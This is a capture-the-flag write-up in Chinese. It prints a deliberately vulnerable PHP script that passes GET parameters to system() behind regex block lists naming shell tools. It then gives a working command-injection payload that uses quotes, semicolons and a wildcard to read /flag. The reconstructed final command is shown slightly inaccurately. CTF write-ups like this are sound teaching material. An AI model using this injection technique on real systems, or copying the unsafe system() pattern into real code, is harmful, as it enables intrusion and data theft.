<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
是一个绕过题来利用system命令,因为file命令打不开文件,只能判别文件的类型,因此我们在comm1中要利用引号和分号来进行命令的控制
仔细一看可以发现第一个过滤比第二个过滤少,可以发现反向输出tac 头几行输出head 读取文件sort都没有过滤,flag被过滤了,我们可以用模糊匹配来进行替代,因此我们可以利用了
因为第二个过滤里面过滤了分号 双引号 因此我们要在comm1参数里面做文章
构造如下
/?comm1=";sort+/fla?;"&comm2=1
利用第一个分号来将comm1前面的双引号拼接闭合,后面那个分号将后面的闭合
不闭合的话到cmd里面语句会变成
"file";sort……""
闭合后cmd语句应该是
cmd="file;sort+/fla?;"1""
file后面可以加一个index.php,不加也没事,因为分号;不会因为前面的命令执行对错而影响后面的